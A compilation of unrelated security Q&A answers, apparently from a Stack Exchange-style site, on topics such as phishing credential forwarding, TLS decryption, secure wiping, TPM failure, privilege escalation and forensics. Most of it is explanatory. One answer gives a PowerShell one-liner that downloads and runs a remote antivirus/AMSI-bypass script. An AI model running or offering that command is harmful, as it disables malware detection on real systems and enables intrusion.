which encryption is used in this JS Variables

The "encrypted" variable name is:

"a" + first char of original var name + last char of original var name + md5sum(var name)

so, given g_license_info:

$ echo -n g_license_info | md5sum
05b4e111efe149737a67a177f00ffad2  -
$

gives you "ago05b4e111efe149737a67a177f00ffad2".

Likewise, g_server_time_obj results in "agj54c415d499dcb6fb35b5fbb324ccaa6f"


Should I add picture(s) to my OpenPGP key?

Pictures would add additional information on your identity: similar to providing information on your name, location, place and date of birth, they might help others in identifying you (and distinguishing from people with similar names). A picture of you (and your signature, which seems an interesting idea) might help at verifying people meet with the right ones (or have a document really issued by you) when meeting: whether this is a real world problem, might be subject of discussion.

Compare your OpenPGP key with "extended" identity information with a digital identity card/passport.

Anyway, the risks of doing so are rather obvious. There is no risk to the "technical" security of your key, signatures on your images are just further signatures, exactly the same as the ones on your other user identities. For sure, there is a risk of identity theft, though: as all other information on your person, these could be used to impersonate your identity. If you've already put your photo on social media accounts, and your signature to your CV you put online, those information are public anyway, and all you do is giving a statement "these are really my picture and signature".


Generally, and from what I've personally encountered in the wild / in my job, a "Credential Forwarding Attack" is form of attack that occurs when an end user attempts to connect to a legitimate service / website, but instead connects to a site owned by an attacker. The user then enters their valid credentials into the fake website, which is then both stored by the attack for future impersonation of the end user, and then "forwarded" to the real website so that the end user is able to access the website so as to not raise suspicion from the end user.

For example, say I own www.bankofammerica.com (note the typo), and I send you some phishing email asking you to review potentially unwanted purchases from your account. You click on my legitimate looking link, enter your info into my fraudulent "Bank of America" homepage and login panel, while my sites scripting forwards that info into a real BoA login in the background. Now you click "login" and I get your online banking creds, and you get forwarded to the real Bank Of America page, none the wiser.


Windows uses its Secure Channel (schannel.dll) for all SSL/TLS type communications.  You can try to look at the Windows docs for TLS.  You might also be able to use Fiddler as an SSL proxy to look at the decrypted data.

@CBHacking commented with a tool that is very useful, Microsoft Message Analyzer.  It uses Fiddler behind the scenes when you use its Quick Trace Tool for live HTTP decryption.  But you can also perform Post Decryption on TLS using this tool.  A quote from that blog post:

  Today you can capture the traffic before it is encrypted using the
  Unencrypted HTTPS scenario from the Quick Trace menu. This requires
  you install the Fiddler Core components, which is how we enable this
  scenario. However, there are some limitations and scenarios that it
  doesn’t cover, like non HTTP traffic. And not all clients and
  capturing scenarios work with Fiddler. So another other option is to
  decrypt after the fact.

  Post decryption has its challenges too. You need the private cert and
  password, which might not always be easily available. However, one
  nice mitigation is that the person who does have access to the
  certificate can always save the results, filtered down, and send only
  that data he wants you to see. Also, we haven’t hooked up every parser
  yet, however for some cases it’s a simple change and something we’ll
  extend moving forward.

If you have access to the cert in which you want to use for your application, then this could be a good substitution for non-HTTP TLS traffic.


Just for your information. Giving a direct database connection in a client side application is a bad idea. Build a RESTful interface which allows for correct authentication and input validation. This will allow you to have a stricter control on what your applications can access.

The problem is that currently MongoDB doesn't offer SSL encapsulation. This means that in itself, the wire protocol can be eavesdropped upon (the data sent over the protocol is exposed). So if you are running this protocol non-locally (so across a network) then yes it's not secure, but not because the protocol itself is insecure, but because the implementation currently can't guarantee confidentiality or integrity due to the lack of encapsulation.

However you can fix this by encapsulating the protocol yourself. If the protocol doesn't offer SSL you first make a tunnel and send the protocol through that tunnel. For instance you make an encrypted VPN between your webserver and MongoDB and through this VPN you send the wire protocol connection (note that you should use a secure  VPN protocol). Preferably this is implemented so that you have end-point encryption.

This will disallow eavesdroppers from sniffing your wire connection.


Is it necessarily Content spoofing if the content type of the response does not match the content type of the request?

It seems like your security team has an overly-strict idea of what Content Spoofing is. For a background, I'm looking at the OWASP page on Content Spoofing, main point:

  When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.

As usual, ask your security team for a demo of the vulnerability that they believe they have found! If they believe there is a Content Spoofing / Cross-Site Scripting (XSS) vuln here, then they should be able to demonstrate it (ie craft a request to your server that results in a <script>alert()</script> popup in your browser.

Content Spoofing attacks (and XSS more generally) are all about sending malicious input in the request that is reflected in the response.

The point of the Content-Type: header is to tell the browser how to interpret the response. This can help reduce the attack surface because you only need to worry about user input that is malicious within the specified content type. For example, if it's Content-Type: text/html then you need to HTML-escape any user-supplied text that has been embedded in the response. If it's Content-Type: text/javascript, then I really hope you're serving a static .js file and not reflecting any user input into it. On the flip side, if its Content-Type: text/text or Content-Type: application/json than you don't need additional output escaping because the browser won't try to run this as code anyway.

Your situation

It sounds like you have an API endpoint that accepts POSTs with a JSON body, and on errors it returns an HTML error page. I agree that it's more common for JSON APIs to return JSON error messages, but returning static HTML error pages is perfectly fine from a security perspective. Of course, if you're taking parts of the request and embedding them un-escaped in the HTML response, then you'll have XSS, but that's almost a separate issue.

From reading your question, it seems like your security team wants the attacker to be able to control the Content-Type of the response? That seems absurd to me. The Content-Type header should match the content; if the error response contains an HTML page, then the server should indicate so with Content-Type: text/html.

As stated above, if your security team believes there is a security issue here, then ask them to demo it!


What happens when a TPM chip breaks or fails?

The purpose of a TPM module is to ensure that there is absolutely no way to obtain the keys stored on it. Whether or not it actually fulfills that purpose is a topic for another question. For now let's assume that it works as designed. That means when the TPM module is destroyed, so is the key, and so is any hope to decrypt the data encrypted with it.

However, most backup solutions do not binary mirror the hard drive they back up. A proper backup solution must provide the ability to fully recover the data even in case the original system is a complete physical loss. So any dependence on any part of the backed up system would be counter-productive. Usually a backup solution backs up the cleartext data. There are also solutions where the backup is encrypted with a key before sending it to a backup system but in that case the key should be backed up elsewhere (this means you need two backup systems: A small-space/high-security one for the key and a large-space/low-security one for the data). The backup system might or might not encrypt the backups independently with its own key on its own hard drives.


How I can hide from my ISP that I have created a hotspot?

It is not easy or depending on your usage pattern it might even be impossible to fully hide the use of multiple devices on a single ISP connection. It also depends on the effort an ISP is making to detect such "abuse" and on its willingness to fight such abuse even if he is not 100% sure since detections might result in false positives.

The usual way to have multiple devices on a single link is to use NAT. But this can be detected by the ISP because of differences on the devices TCP/IP stacks which allow passive OS fingerprinting. Additional changes are done to the packets by the NAT itself, like decreasing the TTL and maybe changing the source port. See Detecting NAT Devices using sFlow and A Technique for Counting NATted Hosts for some more information. And there are actually DPI libraries used by ISP which offer the capability to detect the use of NAT and the number of devices behind it.

Using a proxy (e.g. HTTP proxy like squid) instead of doing NAT hides these differences since all TCP/IP connections now originate from the same system. Still, unusual usage pattern like a User-Agent header in the browser which does not match the detected OS or different User-Agent headers from the same system might give the ISP a clue that multiple devices (or browsers) are involved. While the User-Agent header could be set to some fixed value inside a proxy there or other methods for detection, like having multiple cookies for the same site or having multiple fingerprints for the TLS stack.


Any non-commercial certificate authority issuer for web applications?

Start SSL is a commercial CA that issues standard SSL certificates free of charge. They are accepted by all common browsers, except for very old versions of Opera.


Should I inform a random person on the internet that their data may be compromised?

You did the right thing in informing the developers that their product is flawed.

Now, whether to inform the user whose passwords you accidentally discovered, that's up to your ethics. It seems like an important breach of security, so I probably would do this.

If you choose to report the breach to the user, you can do it anonymously. You could send a message from a throwaway email account as I think there's very little chance that the user would try to prosecute you. (You probably had a greater risk of getting sued by the developers.) If you feel paranoid, and would prefer to go fully anonymous, just run a live Tails CD and from there send an anonymous email via Sendy.


Why it best to do security testing on a copy on a Virtual Machine rather than on than the live server?

The advantage of a virtual machine is that it's what it is, virtual. Assuming you're testing against a real server (be it a development or production one), you run the risk of losing data by poking at the wrong stuff, and have some downtime, meaning lost customers and revenue.

Another thing is that virtual machines can easily be save-stated, duplicated, and then are extremely valuable testing tools. If you find a vulnerability, you can have a VM that's in the state where the vulnerability can be exploited, you can then save that state, and reproduce it far easier at a later time to get more insight.

Overall : Using a VM eliminates the risk of downtime due to pentest, and allows an easier reproduction of the found exploits without compromising data


Can a smartphone’s accelerometer data be used for implementing a TRNG?

The answer depends on several factors...

What is the accuracy, sensitivity, sample rate, and precision of the accelerometer?

How often is the cell phone being moved around? How is it being moved around?

How many "raw" bits are you extracting for every bit in the seed? Only 3?

The root source of entropy
Let's assume that the accelerometer is extremely accurate, is sensitive to very small changes, has a very high sample rate, and has very high precision. Let's also assume that you are moving the device around manually. In this case, the entropy comes from the following sources:

Imprecision and "noise" in the accelerometer. More sensitivity means more noise.

Stochastic processes present in the operation of our neurons and muscle cells.

If the sensor is accurate enough, then microscopic variations in the biological processes that create muscle movements will result in a significant amount of entropy available for harvesting. The time it takes an action potential to propagate down your neurons, the time it takes to finally depolarize a neuron to its firing threshold, the time it takes a muscle cell to respond to neurotransmitters, which motor units are recruited first in a muscle... These all depend on factors that cannot be predicted by an attacker. While we are terrible at consciously producing an unpredictable string of random numbers, we are, much unlike deterministic computer algorithms, excellent at producing randomness through our naturally imprecise muscle movements.
Note, however, that you would be wise to add in the timing of each motion event, not just the value of the changed coordinates. When you operate at nanosecond precision, even a professional drummer who is trying to move with the most rhythmic patterns possible will introduce significant entropy to a system when his movements are precisely timed. This timing, if sufficiently fine-grained, is actually a more valuable source of entropy than the value of a given event itself.
Your proposed algorithm
I would say your algorithm is not safe. Creating 1 output bit for every three input bits assumes that each input has 1/3 of a bit worth of entropy, which is very optimistic, to say the least. The Linux kernel for example is extremely conservative with its entropy estimation. Only a single bit of randomness is assumed to be present after 64 consecutive injections into a 128 bit pool. A superior algorithm would be to input the raw events along with the precise time of the event (in the form of the number of CPU cycles since boot, aka the TSC) into a fast cryptographic hash like SHA-256. Keep this up until you are done collecting entropy, and use the final digest as your random seed. If you are certain that you want to implement your own RNG, this would be the way to do it. There would be no need for explicit debiasing or whitening, or entropy estimation.
If you truly insist on doing this, you should at least take the output seed and mix it with an equivalent amount of randomness from the system CSPRNG. This can be done by using a involutory operation such as XOR or addition/subtraction with overflow. that ensures that the entropy of the output is at least as good as the quality of the most entropic input. In mathematical notation, for two mutually independent entropy sources A and B of identical size, H(A ⊕ B) ≥ max(H(A), H(B)).
The accelerometer as a source of entropy by default
The accelerometer may already be used to generate entropy! While I know little about mobile device architecture, hardware generally alerts the main CPU that an event has been detected by issuing an interrupt. An interrupt is an asynchronous signal that causes the CPU to pause whatever it is doing and execute a particular handler for that interrupt. This handler may, for example, query a keyboard buffer. That way, the system does not have to continuously poll the keyboard and can instead wait for the keyboard to send an interrupt, telling the system that it is time to read from it. This may also happen with a mobile device's accelerometer. Every time a motion is detected, it may send a signal to the CPU telling it that there is data to be read. Every time this happens, the interrupt data and the exact time it occurred are used as a source of entropy. Only after 64 events is a single bit of entropy assumed to be collected. This entropy is mixed with the system pool.


open a powershell
list execution policies with Get-ExecutionPolicy -List
if LocalMachine is Restricted and you are not admin...
...you can change the policy locally with Set-ExecutionPolicy -Scope Process Unrestricted this allow you to execute .ps script stored on the machine...
...anyway still you can't run malicious content. So bypass AMSI with

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/aloksaurabh/OffenPowerSh/master/Bypass/Invoke-AlokS-AvBypass.ps1'); Invoke-AlokS-AvBypass

Now whatever script you execute the ScriptContainedMaliciousContent message it is not longer shown


Is there a good reason to turn off phpinfo()?

In the past there have been exploitations which utilise the phpinfo() page, using some server globals it var_dump()'s when outputting variable info.

This information merely adds to what webtoe has to say, but it's yet another attack surface you should be weary of when you consider if your users really need phpinfo() access.

LFI WITH PHPINFO() ASSISTANCE


Why do password creation/login screens hide the typed password?

The primary protection provided by password masking is against shoulder surfing, as you suggest. Typing speeds are a factor, but a reality is that screens could be captured by video recording devices as well (which exposes passwords to typed on mobile phones, where each character is visible for a few hundred milliseconds before being masked). As the exact environment around a user is not known, it makes sense to have a default masked view, with an option to preview as suggested by  @William Mariager. This is also true in case of shared screens, projectors... Some simplistic malicious software do perform periodic image/video screengrabs, which is also defended by password masking.

Hence we can't assume that people can always check to see if their screen is obscured.

But, another reason for doing this now is historical-- users are now so used to seeing masked passwords that websites using unmasked passwords are perceived to be insecure
(Source). The masking also informs all users that the information being entered is sensitive.

Also read: Schneier about password masking

Studies that argue against password masking: [1][2]


Not sure can it be of any help to you, but once I managed to describe entropy to a child.

After I said that entropy is a measure of chaos in system (to a group of people), a 12 (year more or less) year old said he doesn't understand me. I replied with - "Well, when your room is untidy, entropy is high. But when you clean your room, entropy is low - everything is in order then. So, when a thief comes to your room trying to steal your homework, when the room is clean and entropy is low, he will easly find it - it's usually on your desk or in your school bag. On the other hand, when your room is untidy and your homework is somewhere laying around, thief doesn't know exactly where it is and it can't find it quickly. If entropy is high enough (let's say roof collapse), it's almost impossible to find a piece of paper in it.

High entropy - finding a needle in a haystack.

In the game - Guess who I am, at the begging entropy is very high, but after few questions entropy is lower and lower until someone has enough information to guess who the person is (or in security, after trails (and errors) and trials, to guess what is the password).


You need to have root privileges to modify your password. This can be done by supplying the passwd utility with your user (non-root) password, since that utility is setuid and automatically runs itself as root no matter who executes it. If it verifies that the password you gave it matches the password on record for that user, it will allow you to change it by editing /etc/shadow for you.
There are many ways to get root on a system that you only have unprivileged local access to. This type of attack is termed local privilege escalation, or LPE. It usually relies on attacking a vulnerable setuid application, or attacking the kernel itself. Both of these require exploit development knowledge, which is not something someone can learn in one day, nor is it something that can be captured in a single answer here. If the system is running outdated software, you may be able to find a public vulnerability which you could use to elevate privileges. Otherwise, don't count on it.
As for using a buffer overflow exclusively, that's not going to work on any modern software. It might have worked in the 90s, but not today. There are numerous security techniques employed that make the naïve buffer overflow a thing of the past. Nowadays you need to bypass those techniques, which is not trivial. If you want to begin learning binary exploitation, start with a tutorial where you learn to exploit an intentionally insecure application with all the modern exploit mitigations manually disabled. Eventually you'll start learning how to perform the exploit even with mitigations in place (e.g. learning how to execute code in non-executable memory by leveraging ROP). This is the kind of thing you'll have to understand before exploiting a modern system with all the security in place.


I am pretty sure that this is not Apache Synapse, it's some tool built with Ararat Synapse, this is a TCP/IP library built with Delphi . I downloaded source code from both projects, and as far I can see Apache Synapse has a configurable user-agent, and default is :

Synapse-HttpComponents-NIO

On the other hand, Ararat Synapse has default user agent :

Just like one you have in your logs, and I have exactly same user agent probing various SQL Injection attacks, probably attackers are using some tool build in Delphi with Ararat Synapse.

Since bad guys didn't change default user-agent I think it's safe to block user agent:

Mozilla/4.0 (compatible; Synapse)

not partially because you can block some legitimate tool running on Apache Synapse.


How secure is the windows Cipher command?

Securely deleting data, otherwise known as “wiping” can be surprisingly difficult.
Overwriting data even once with “cipher.exe”, or any other tool, makes the data effectively gone. The old bugaboos about multiple pass wipes being necessary to thwart magnetic force microscope recovery of partial track wipes is urban legend. It was theoretically possible back in the days (20 years ago) preceding IDE disk drives with storage capacities measured in MEGAbytes. Even then it was a laboratory curiosity never successfully demonstrated at scales beyond a few bytes. A one pass write of anything; zeroes, random, pattern,  whatever, securely wipes the data. Yes, “cipher.exe” and others offer multiple pass wiping, but this is a marketing holdover because so many people still believe it’s necessary. It’s not and it’s a waste of time, but feel free to multipass if you like.
But I said it can be difficult, then described something simple?
The hard part is actually overwriting the data, because the data is often not as static as it seems.
Tools like “cipher.exe” overwrite unallocated disk space, commonly referred to as deleted. For the most part, this works as you would think.
So where does this fail?
Slack Space (smallish risk)
File storage is allocated in blocks. Any file that does not use an exact multiple of blocks will have filler making up the difference. Typically this is fragments of whatever file last used this disk block. Realistically, this is a relatively low risk of useful content. On solid state drives with properly functioning TRIM, slack space should be empty.
Bad Tracks/Sectors (small risk)
Tracks that have been remapped due to failures may contain chunks of data that will not be touched by overwrite attempts. Generally these are genuinely bad and data is not retrievable, or even if retrieved contains system fragments not associated with anything important. Yes bad tracks can be artificially created, but if you did that you’d know you did it, it’s not accidental.
Wear Leveling (insignificant risk)
Solid state drives attempt to reduce wear by switching out memory chunks internally. When this happens, old data cannot be reached to overwrite it. Again, these are tiny chunks and accessing the chunks requires “Chip-Off”, removing the memory chips and controllers in order to bypass the wear leveling control. Even if this is done, good luck getting anything useful from it.
Databases and MFT (significant risk)
Databases delete entries by marking the space as available to be reused, however this is not unallocated to the system because it’s still part of the allocated database file. It will not be overwritten by “cipher.exe”. The Windows Master File Table works in an analogous manner. It’s main function is to hold file attributes and point to the disk location(s) actually containing the file data. However if a file is small enough (approaching up to 981 bytes), the actual file data may be stored directly in the MFT. Deleting this file marks the entry as available to the MFT, but the MFT as a whole is still allocated so will not be touched by “cipher.exe”.
Shadow Volumes (big risk)
Microsoft supports the ability to perform recovery “rollbacks”. It accomplishes this feat of magic with the Volume Shadow Service (VSS). In essence, Windows maintains prior version copies of files that have changed. Not just a single previous version, but potentially many previous versions. These previous version files are easily recoverable even if the current version has been successfully wiped. “cipher.exe” will not touch shadow volumes.


No HTTPS on credit card entry form - can it be safe?

Checked it now: CC details are really sent UNENCRYPTED over the wire. They use no SSL at all.
Not even on POST. The credit card details are really sent over the clear, over the wire.
The RapidSSL button is even false, because it does not popup a validation when clicked (which real RapidSSL buttons should do)

I also checked. They have a SSL site with real certificate and Everything, but they specifically disable SSL by redirecting to HTTP when attempting to load the /secure namespace over HTTPS. It should really be the opposite, where HTTP redirects to HTTPS.

I would say you can be sure about submitting a CC number there, and thats only in this specifically case:
If you are 100 % sure that your WHOLE PATH, from your computer, to that company's server, is completely trusted, then you can submit the CC there.
That includes trusting your ISP, your landlord and every router and device on the path to the Company in question.

How to check yourself:

Check the source of the page.
If the credit card form "form action=" parameter Point to a HTTPS site, its encrypted.

If the "form action=" parameter is empty or contains a invalid value, chances are the CC is submitted over a AJAX script and thus you have to rummage through tons of JS code to find out if CC are sent encrypted or not.

However, submitting to a HTTPS site from a HTTP site is NOT 100% SAFE. There is possible that the page in question has been modified in transit by a malicious indivual to send the details to a attacker's server or via a HTTP Connection to be able to sniff the data.

However, MITM/modifying attacks are rare, if you are home on your home Connection and you DO NOT sit on wireless, its pretty hard to get into a suitable position to be able to modify data in transit.

I would say:
As long as the form submits to a HTTPS resource (form action=https://blaahblaahblaah) you can be SUFFICIENT safe that the credit card is not being leaked.

If we take the assumption that there only PASSIVE listernes, no Active adversiaries in the network, then your credit card number is 100% safe if the form is sent over HTTPS.
However, this are NOT in case here, thus you should really trust the link Before sending anything there. Not even your home Connection may be fully 100% safe to send CC details there, if you account in the physical security of EVERY node on the path.


How vulnerable are rolling codes used in car keyfobs to simple replay attacks?

They should, but it is not necessarily true they do. There were smart locks that did not use rolling codes and could be cracked with one captured command.
Depends on how they implement rolling codes. I don't have a problem believing someone was clueless enough to use predictable algorithm, such as increase the previous hash value by one and hash, that would provide no security. These guys are usually hardly security experts. Or they may not use rolling codes as I noted in 1.
It is likely all commands use the same system of authentication.
Yes, it does seem dodgy. But it depends on the car. Some cars have central locking that would engage all the security regardless of how the vehicle was locked.


You could use an android phone and set it up w a new gmail and then use that for fb over a free wifi at a retail location.  You can't just reset the android phones any more without prior password, however.  I soft bricked a cell phone that way sadly because I didn't remember my old pword.


API security where the server is also client-side

You can utilize client certificates that are generated from an external source.

When a third party service is being setup, one of the steps should be contacting an authoritative server to see what permissions it should have and if the user has paid for the content feed. In that step you can also generate a client ssl certificate and sign it with an internal certificate authority. Then when a third party client connects to the API on the desktop, all it needs to do is present its certificate and the API can check the signing authorities hash to verify its authenticity and grant the permissions stated.

The function that verifies the certificate should be as close to native code as possible, as it's trivial to edit an interpreted file to always return true for a certificate check.


MySQL database (non-SSL) connections secured via origin/destination IPs, how unsafe are they?

You are correct to be concerned about the scenarios you presented:

If a MITM attack occurs, it cannot be thwarted unless you use SSL. The IP filter will not help because the attack is already "in the middle" of the connection, so all traffic will pass through it in plain text. Once the user/pass is grabbed, the attacker can do whatever those credentials allow. The attacker could even spoof the IP and hijack the connection without allowing traffic back to the original IP, if they choose to.
For attacks that are not MITM, the IP filter helps quite a bit, because even IP spoofing would only allow messages to be sent, but not received, and even then they would still need to first figure out the credentials. If they did somehow figure out the credentials they could spoof their originating IP and send commands such as delete, update, insert, etc, but it would be pretty difficult to know whether or not it was having any effect, so it would be pointless for them to try. (Like throwing rocks into a lake and wondering if you are hitting any fish on the way down.)

Your best bet is to use SSL or at least move the application and DB into the same network. If you absolutely can't do that, MITM is the most realistic attack you should worry about, but even those are pretty rare, in comparison to other types of attacks that would be attempted. You're probably more likely to have a developer accidentally leak the credentials than to have a MITM performed against you.


How does full-disk encryption protect against unexpected power loss?

Full disk encryption ensures that data is never present on the drive in an unencrypted state, so sudden power loss does not result in any unencrypted data remaining on the drive. When your computer has to access data, it will read the encrypted data, then use the key you provided (also in RAM) so the data that gets stored in RAM is decrypted. This ensures that decrypted data is only ever present in RAM.
Hard disks and solid state drives are non-volatile, meaning the data they store is permanent. After a power loss, the data is still there. RAM on the other hand is volatile. The type used in modern computers, called DRAM, is composed of a transistor connected to a capacitor. A charge in the capacitor signals a binary 1, and no charge signals a binary 0 (this is a bit simplified). Every 64ms, the capacitor is refreshed so it does not leak electricity and loose its bit. When a computer loses power, the capacitors are no longer refreshed, and they begin to lose their charge. DDR2 DRAM will lose power in less than a minute, and DDR3/DDR4 DRAM will lose power in a couple seconds. Compare this with magnetic media, which can retain their polarity for half a century or more, or solid state flash media, which can retain their charge for around a decade without power.
You may have heard of cold boot attacks. It's a type of attack that exploits the fact that RAM does not lose its power instantly, but takes a couple seconds to lose power. If RAM is put in an extremely cold medium, this process can be slowed down to several hours. So unless someone freezes your RAM modules within a second of you powering off your computer, there will be no trace of the key or any unencrypted data on your system.


I just discovered major security flaws in my web store?

A couple of suggestions:

1) Don't build a site from the ground up, unless a new kind of e-commerce is your secret sauce. There are plenty of solutions out there that are tried and true--ebay, wordpress with a shopping cart plugin, drupal with plugins, etc. Rolling your own is a quick way to get hacked.

2) Be sure to redirect to a secure payment processor before collecting any card or identity information. Both PayPal and Google Checkout offer great portals with APIs that make it easy to sell stuff safely, and redirect back to your site.

3) Many of the hosting companies (GoDaddy, volusion, etc) offer turn-key setups, so that all you have to do is fill a catalog, pick a style, ship stuff and go to the bank.


How to keep Internet of Things projects secure?

You start by not giving them access to the Internet.  If your Intranet of Things devices have no direct contact with the outside world (eg. your IoT sprinkler controller is firewalled off from the Internet and needs to go through a proxy when requesting a weather forecast), it becomes much harder for an attacker to do anything.  If there's no connection whatsoever, any attacker needs to be physically present.


Password-less network in skyscraper office

[ I'm first assuming you're isolating the guest network from your corporate network.  Anything else would be irresponsible. ]

I see three common options for guest access:  no password, captive portal, or guest password.

No password means no opportunity to give them chance to agree to your guest network policy.  You risk legal trouble if a hidden neighbor runs something like a Tor exit node through your network, or a guest downloads 'questionable' materials, and you didn't warn them in advance that it's against your policy.  The upfront costs are certainly cheap, though.
A captive portal is pretty simple, and people are already used to them at coffee shops and restaurants.  It gives you the opportunity to present your visitors with your guest network policy rules, and they allow your visitor to conveniently ignore them before they click "Agree".  They are quite popular, and obviously aren't too much trouble for most people.  But you'll have to set up some kind of appliance, and that might cost a few dollars.
A simple guest password can be printed on a sign, or on a sheet of paper, and come with a copy of the policy.  It would be the least convenient option, but it's simple, fairly cheap, and helps you avoid the legal risks of not warning them.

This is really a legal question more than it is a technical question.  It's a decision of selecting a risk avoidance strategy.  It's not a certainty that you would get in legal trouble for not posting your policy, nor is it certain that posting your policy would keep you out of legal trouble.  I recommend you check with your attorney or legal department.


Why not use a national ID as username for every website?

Privacy. Being able to link every user account to a natural person would be the end of anonymity on the Internet. Maybe you have nothing to hide, so that's of no concern for you. But as Edward Snowden said: "Arguing that you don't care about the right to privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say".
Not every person on the planet would have a national ID number. There are countries in the world which don't give ID numbers to their citizens. In some regions of the world, residency registration is spotty at best or nonexistent. People from these countries could no longer actively use the Internet anymore. Also, there are edge-cases like stateless people, people with multiple citizenships or people from disputed territories.
In those countries which do have ID numbers, you have the problem of proving that someone is indeed the owner of an ID number. Because your ID number is public knowledge, I could use it to register in your name on any website I want, thus stealing your identity.

A solution to this problem would be a state-supported authentication service (something like OAuth). But considering how many governments there are in the world, it would be impossible to agree on a protocol standard which is supported by everyone all over the world. And if you do somehow get the ~200 or so governments in the world to cooperate on something (a feat worthy of a Nobel Peace Prize), you now put a tremendous responsibility into their hands. Not only could they very easily prevent their citizens from using any services they don't like by no longer authenticating their citizens to it, they could also impersonate their citizens on any website.


Request certificate expiration date in CSR

One cannot set arbitrary fields in the CSR. The CA will pick the fields it likes (public key, maybe subject) and fill in the rest of the information in the certificate with what they feel is the right choice. This means that unless the CA allows you to specify your own expiration you will not be able to do this. Public CA likely don't allow you to set the expiration, with private CA you can setup it they way you like best.

If you want to find out what happens if a certificate expires just adjust the clock on the system where the certificate validation is done (i.e. usually the system where you run the browser on).


Is there anything like this?
There is actually a draft specifically on doing this, titled Forward Secrecy Extensions for OpenPGP. The gist of the draft is that temporary keys must be created for each message and securely deleted after they are used. This runs into a few problems. Most importantly, an OpenPGP extension will not be able to guarantee that data is securely removed from a storage device. Many storage devices will not allow data to be erased in place. This is done by solid state drives as a form of wear leveling, with the purpose being to reduce the wear on any individual area of storage. Certain filesystems employ a technique to improve reliability in the event of crashes called copy-on-write which has the side-effect of causing writes to the same location to not overwrite the data that was previously there. Additionally, many systems take snapshots of their state, defeating the purpose of securely erasing a key.
What makes forward secrecy hard with PGP?
The main difference between something like PGP and TLS is that TLS is quick. You can be confident that a handshake will complete in a second or two. This allows you to store the temporary key material entirely in memory. A PGP-encrypted message on the other hand may sit unread for an indefinite period, increasing the chances that a key is stolen. Forward secrecy is thus easy to implement with live systems that begin and finish the key exchange in a single session, but much harder to implement on a highly asynchronous system where there is no guarantee that a message will be quickly read.
Overall, the main reasons PGP is so much harder to use with forward secrecy is:

PGP is interactive so you can't keep ephemeral keys in memory for only a split second.
Keys must be stored on a non-volatile storage device, at which point secure erasure is uncertain.

Possible alternatives
The most viable alternative you have right now is to have rather short-lived encryption subkeys. Create one long-lived master key, preferably stored on an external device (and thus resistant to compromise). Subkeys should be kept for a shorter period and revoked after a minimum amount of time, for example one month, or a dozen messages. When revoking a key, update your public key to include freshly generated subkeys. People communicating with you will need to update their copy of your public key regularly in order to communicate with you. You will need to be aware of how your system works to avoid leaving traces of previous private keys on your device. This could be mitigated by keeping them on a different smart card, as they are designed to store these keys and can often also securely erase them at a moment's notice. GnuPG supports using smart cards as a source of key material.
You can also use OTR, which allows for real-time encrypted communication with forward secrecy. It is a plugin for various messaging systems that encrypts data using Diffie-Hellman key exchange and AES. It is currently supported on various social media messaging applications (e.g. Facebook's messenger), as well as IRC and XMPP. There is also a plugin for Pidgin, a chat client that supports a wide variety of protocols. Any protocol that Pidgin supports can be encrypted using OTR.


Technical term needed: Per default secured / blacklist vs whitelist

I think the term secure by default captures what you are looking for:

  In a network operating system, this typically means first and foremost
  that there are no listening INET(6) domain sockets after installation.
  That is, no open network ports. This can be checked on the local
  machine with a tool such as netstat, and remotely with a port scanner
  such as nmap. As a general rule, a secure network, is only as secure
  as the least secure node in the entire network.


Bypass a simple XSS filter that only looks at <

XSS in a simple HTML context without < is not possible. It would be possible in a HTML attribute context, JavaScript context, etc; but in a simple <div> tag, we need <.

I see no way to bypass the regex; It will always correctly remove all < characters from the string.

The only hope left is that the jQuery function .html might insecurely handle the input (eg decode values), which would allow us to bypass the filter. But there are no known vulnerabilities in .html that I am aware of.

Given the above, I would say that there is no vulnerability here.


From the patch it can be seen that it is skipping any control and some more characters ([\x00-\x1f\x7f\xff]) when constructing the target file name:

+        * SECURITY: Skip past control characters if the user
+        * didn't OK use of absolute pathnames. lhh - this is
+        * a very quick, ugly, inefficient fix; it traverses
+        * the WHOLE path, eating up these as it comes to it.
+        */
+       dp = cp;
+       do {
+           workch = (uch)(*dp);
                 ...
+            } else if (workch == '.' && !snarf_ddot) {
+               snarf_ddot = TRUE;
+           } else if (isprint(workch) ||
+                      ((workch > 127) && (workch <= 254))) {
+               /*
+                * Since we found a printable, non-ctrl char,
+                * we can stop looking for '../', the amount
+                * in ../!
+                */
+               break;
+           }
+
+           dp++;
+        } while (*dp != 0);


Is there any way for me to trace the TeamViewer ID of a machine that hacked in?

To answer your question, you could try to find the teamviewerID via either teamviewer's logs or the registry of the victim's PC.

The local teamviewer log file will be in C:\Program Files (x86)\TeamViewer\Version8\TeamViewer8_Logfile.log or similar (as described here).

Also look in ..\AppData\Roaming\TeamViewer\Connections.txt for potentially more information on who connected to you.

Lastly, there is a wealth of information in the registry itself, as described in the link given.

There are plenty of articles out there on where to look exactly. search for teamviewer forensic artifacts.

I'd say that if you look in these files and can present some basic proof (unknown Id 'x' accessed my pc at 'y' time) to the law enforcement, they may look into it further.


What is the ultimate goal of hacking a webserver?

The ultimate goal? It heavily depends on the initiator of the attack, but here are some ideas:

Attacker interested in financial gains:

It may be worth huge amounts of effort to target high traffic webservers/domains that enjoy a good reputation (The domain name is associated with a trustful service) and then apply phishing techniques (Credit cards, paypal, bitcoin credentials, ...) on the many visiting users. The users are very likely to submit such personal information, because the user feels safe.
Integrate the server in a botnet: Servers have usually much more networking power then personal computers and can leverage a DDOS attack.
Often financial information as credit cards or paypal billing addresses are stored on the webserver (or the database, that is also compromised by taking over a webserver)
Interest in other valuable information such as user credentials or closed source applications that are valuable.
Using the captured server as a means to hide traffic. Back in the day I used to install socks5 servers (Can also be implemented in PHP if no compiler is available) to proxify traffic.
Using the compromised server to redirect traffic in order to exploit user agents. Javascript redirection to a attacking server with a exploit kit istalled like blackhole. This step might me as sophisticated as you wish: Only redirect clients that have specific plugins installed (Java, flash, silverlight), are a concrete User Agent (old, exploitable IE browser versions...)

Otherwise:

Pure curiosity
Just testing if you can take it over due to a self set intellectual challenge
Defacing for political purposes (anonymous?)
Vandalism (lulzsec)
Use the web server as starting point for further attacks like:
Privilege escalation (Can we gain root privs?)
Are internal hosts/networks available from the server (Might be the case when the webserver also works as a reverse proxy)

There are many reasons. Hope you get the point.


How is it secure for Venmo to ask for credentials?

